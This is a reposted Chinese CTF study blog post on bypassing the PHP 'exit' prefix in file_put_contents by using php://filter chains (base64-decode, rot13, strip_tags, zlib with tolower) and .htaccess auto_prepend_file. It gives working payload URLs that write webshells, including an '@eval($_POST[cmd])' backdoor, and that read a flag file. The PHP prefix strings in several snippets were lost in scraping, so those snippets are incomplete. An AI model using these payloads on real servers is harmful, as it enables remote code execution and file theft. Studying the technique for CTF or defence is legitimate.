-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick

目录:

  • base64编码了解???
        • PHP过滤器会再次进行一次url解码,所以有waf 的时候,可以url二次编码绕过
  • 一、死亡绕过的三种题目形式:
      • 一、首先对于第一种情况:
      • 1. base64编码绕过:
  • 自己实验:
        • 写入的化filter/后面的。
      • 2. rot13编码绕过
      • 3. .htaccess的预包含利用。
      • 4. 过滤器编码组合拳
      • 二、对于第二种情况:
        • base64
        • rot13

参考自:https://xz.aliyun.com/t/8163#toc-7

base64编码了解???

这几个文章 都要学习吸收一下:

这个这个,这个全都写明白 了。版本是这个:PHP 7.0.33 Apache/2.4.25 。

php://filter中的各种过滤器:
探索php://filter在实战当中的奇技淫巧

PHP过滤器会再次进行一次url解码,所以有waf 的时候,可以url二次编码绕过
file=php://filter/********/resource=./phpinfo.php  这样可以,  convert.base64-convert 这部分二次编码可以
但是 filter  和 resource  不能够进行url二次编码,
所以说的过滤器会进行二次url编码,也只是针对中间的那一部分,

一、死亡绕过的三种题目形式:

针对file_put_content()。进行exit()死亡结束的绕过方法:

三种情况:
file_put_contents($filename , "

file_put_contents($content,"

file_put_contents($filename,$content."\nxxxxxxxxx");

我们的思路很简单: **将 杂糅或者死亡代码分解,思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过; **
原理不外乎:将死亡 或者杂糅代码分解成为PHP无法识别的代码;

一、首先对于第一种情况:

file_put_contents($filename , ".$content);

文件名和文件内容,都是可控的,直接控制文件名和内容。
下面来几种方法:

1. base64编码绕过:

而都知道$filename是控制文件名的,如果我们使用php://filter协议的话,这会先按php://filter规定的协议对$content进行解码后再写入协议

原理就是: 利用base64编码,将死亡代码解析成为乱码,使得PHP引擎无法识别;

filename='php://filter/convert.base64-decode/resource=adam.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+'; # 这个是phpinfo();的base64

这里之所以$content加了一个a,是因为base64在解码的时候,是4个字节转化为3个字节,又因为死亡代码只有phpexit着7个字节参与了解码,所以补上一位就可以完全转化;在和效果如下:

-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_第1张图片

base64编码中只包含64个可打印字符。其他的字符都将被忽略掉。
知道php base64解码特点之后,当$content被加上了以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符< ? ; > 空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。

由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符(Q)就可以,这样”phpexitQ”被正常解码,而后面我们传入的webshell的base64内容也被正常解码,这样就会将这部分内容给解码掉,从而不会影响我们写入的webshell。

自己实验:

写入的化filter/后面的。
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename , ".$content);

http://IP/test/test.php?filename=php://filter/write=convert.base64-decode/resource=shell.php&content=aPD9waHBpbmZvKCk7Pz4=

将后面的phpexitaPD9waHBpbmZvKCk7Pz4=。这一串东西,write的形式是base64-decode。解密后写进去,
我这样用write写,生成的文件是这个:

去掉write之后依旧好使,
http://IP/test/test.php?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHBpbmZvKCk7Pz4=

2. rot13编码绕过

网站:

经过rot13编码后这样:

php://filter/string.rot13/resource=adam.php

-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_第2张图片

3. .htaccess的预包含利用。

利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件
string.strip_tags能够从字符串中取出HTML和PHP标记,尝试返回给定的字符串 str 去除空字符,HTML和PHP标记后的结果。。这里用这个,去除 那个PHP的死亡结束代码。

$filename=php://filter/write=string.strip_tags/resource=.htaccess
$content=?>php_value auto_prepend_file D:\\phpStudy\\PHPTutorial\\WWW\\flag

同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签和PHP标记,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:

注意:

  1. win10中路径需要两个反斜杠\\
  2. 但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等
  3. 另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器;

-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_第3张图片

4. 过滤器编码组合拳

,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码;
先来一个:

$filename='php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php'
$content='?>PD9waHAgcGhwaW5mbygpOz8+'

先用string.strip_tags过滤掉html标签,然后将标签中的内容进行删除,然后再用base64解码,成功写入shell。
-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_第4张图片
这种方法有局限性的。还是string.strip_tags再PHP7.3.0以上的环境下会发生错误,从而导师无法写入,但是在PHP5的环境下不受此影响。

另外一个:

如果题目的环境是php7的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell。

注意:这个%0d是一定要有的,不然就会报错
而且要url传参才行,

http://localhost/test1.php?filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=adam.php&content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0d@eval($_POST[cmd]);?%3E/resource=adam.php
$filename='php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=adam.php';
$content='php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=adam.php';

-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_第5张图片

先压缩,然后小写,然后解压缩,这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础;

这个是真的巧,,我试着换其他的东西来,结果都不能够正常出来PHP的代码,

二、对于第二种情况:

file_put_fontents($content,"。又该怎么办呢??

面对这种情况,就和WMCTF的一个题基本一样了;和上面的大类方法一样,也是利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;

不过这种因为是一个变量,所以其限制代码为然而我们之前说到的是因为是控制两个变量,在这种情况之下就为,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload;

这里题目环境如果在php7下,wmctf的wp上已经写的很清楚了,有多种方法可以绕过去;这里不再过多的解释

但是这里想要分享的一个另类的方法,如果题目环境不是在php7下,并且过滤了zlib的话,又该如何去解答,再使用过滤器去压缩和解压就不太可能实现了;这里提供一种我新实验成的方法,利用.htaccess进行预包含,然后读取flag.

这里可以直接自定义预包含文件,进行测试;结果如下;

?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20/flag%0a%23/resource=.htaccess

-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_第6张图片

-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_第7张图片

base64

后面的没怎么看,等遇到了就看这个文章就好。
https://xz.aliyun.com/t/8163#toc-7

rot13

也就是说 中间的那两个竖线 中间的 内容是我们写入的东西
base64会受限于 = 。而rot13则没有这个烦恼。

php://filter/write=string.rot13||/resource=shell.php。这里的的rot13编码即为
在这里插入图片描述
和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag(再补充一下,linux下默认是没有开启的)

你可能感兴趣的:(过滤器,php)